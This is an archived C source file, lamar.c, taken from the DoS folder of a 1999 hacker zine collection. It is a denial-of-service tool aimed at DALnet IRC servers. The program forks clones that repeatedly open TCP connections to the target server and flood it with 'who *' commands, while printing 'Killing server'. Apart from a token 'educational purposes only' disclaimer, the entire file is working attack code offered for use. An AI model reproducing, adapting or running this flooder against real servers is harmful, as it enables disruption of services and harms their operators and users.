home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / lamar.c < prev    next >
C/C++ Source or Header  |  1999-01-02  |  3KB  |  106 lines

  1. /* lamar.c by napster/chrome.. deth to dalnet
  2.  * this is for educational purposes only =)
  3.  * i do not condone the use of this on any irc server.
  4.  * arumf!@
  5. */
  6.  
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <stdio.h>
  10. #include <unistd.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <netinet/in.h>
  14. #include <netdb.h>
  15.  
  16. #define MAX               512
  17. #define LIMIT               8
  18.  
  19. unsigned int resolve(char *host);
  20.  
  21. void 
  22. usage(char *progname) {
  23.   printf("                 lamar.c by napster/chrome\n\n");
  24.   printf("usage: %s <server> <port> <clones> <executions>\n\n",progname);
  25.   printf("\t<server>      : dalnet irc server\n");
  26.   printf("\t<port>        : irc port\n");
  27.   printf("\t<clones>      : number of clones to launch\n");
  28.   printf("\t<executions>  : number of 'who *'s by each clone\n\n");
  29.   exit(-1);
  30. }
  31.  
  32. main(int argc, char *argv[]) {
  33.         
  34.   unsigned int resolved_host;
  35.   struct sockaddr_in sin[MAX];
  36.   int x, y, z;
  37.   int clones, execs, port, sdesc[MAX];
  38.  
  39.   if (argc != 5) usage(argv[0]);
  40.  
  41.   resolved_host = resolve(argv[1]);    
  42.   port   = atoi(argv[2]);
  43.   clones = atoi(argv[3]);
  44.   execs  = atoi(argv[4]);  
  45.    
  46.   if (clones > LIMIT) {
  47.     printf("Too many clones.. by launching this many it will crash your machine...\n");
  48.     printf("Current limit of clones is %d.\n", LIMIT);
  49.     exit(-1); 
  50.   }
  51.   printf("lamar.c by napster/chrome.\n\n");
  52.   printf("Killing server: %s.\n", argv[1]);
  53.   printf("Using port: %d.\n", port);
  54.   printf("Number of Clones: %d.\n", clones);
  55.   printf("Executing 'who *' %d times.\n", execs); 
  56.   fflush(stdout);
  57.  
  58.   for(z=1;z<clones;z++) fork();
  59.   for (x=0;x<MAX;x++) {
  60.     // x++;
  61.     if (x == MAX) x = 0;
  62.     
  63.     sdesc[x] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  64.     if (sdesc[x] < 0) {
  65.       perror("socket");
  66.       exit(-1);
  67.     }
  68.  
  69.     sin[x].sin_family = AF_INET;
  70.     sin[x].sin_port = htons(port);
  71.     sin[x].sin_addr.s_addr = resolved_host;
  72.  
  73.     if (connect(sdesc[x], (struct sockaddr *)&sin[x], sizeof(sin[x])) < 0)
  74.   {
  75.       perror("connect");
  76.       exit(-1);
  77.     }
  78.     fflush(stdout);
  79.     for(y=1;y<=execs;y++) {
  80.       write(sdesc[x], "who *\n", strlen("who *\n"));
  81.     }
  82.   }
  83. }
  84.  
  85. unsigned 
  86. int resolve(char *host) {
  87.   /* resolve routine written by Aut0psy. */
  88.  
  89.   struct hostent *he;
  90.   struct sockaddr_in tmp;
  91.  
  92.   /* Lookup host. */
  93.   he = gethostbyname(host);
  94.  
  95.   if (he) {
  96.     /* Copy host into a temporary endpoint. */
  97.     memcpy((caddr_t)&tmp.sin_addr.s_addr, he->h_addr, he->h_length);
  98.   } else {
  99.       perror("resolving");
  100.                 exit(-1);
  101.     }
  102.  
  103.   /* Return address in network byte order. */  
  104.   return(tmp.sin_addr.s_addr);
  105. }
  106.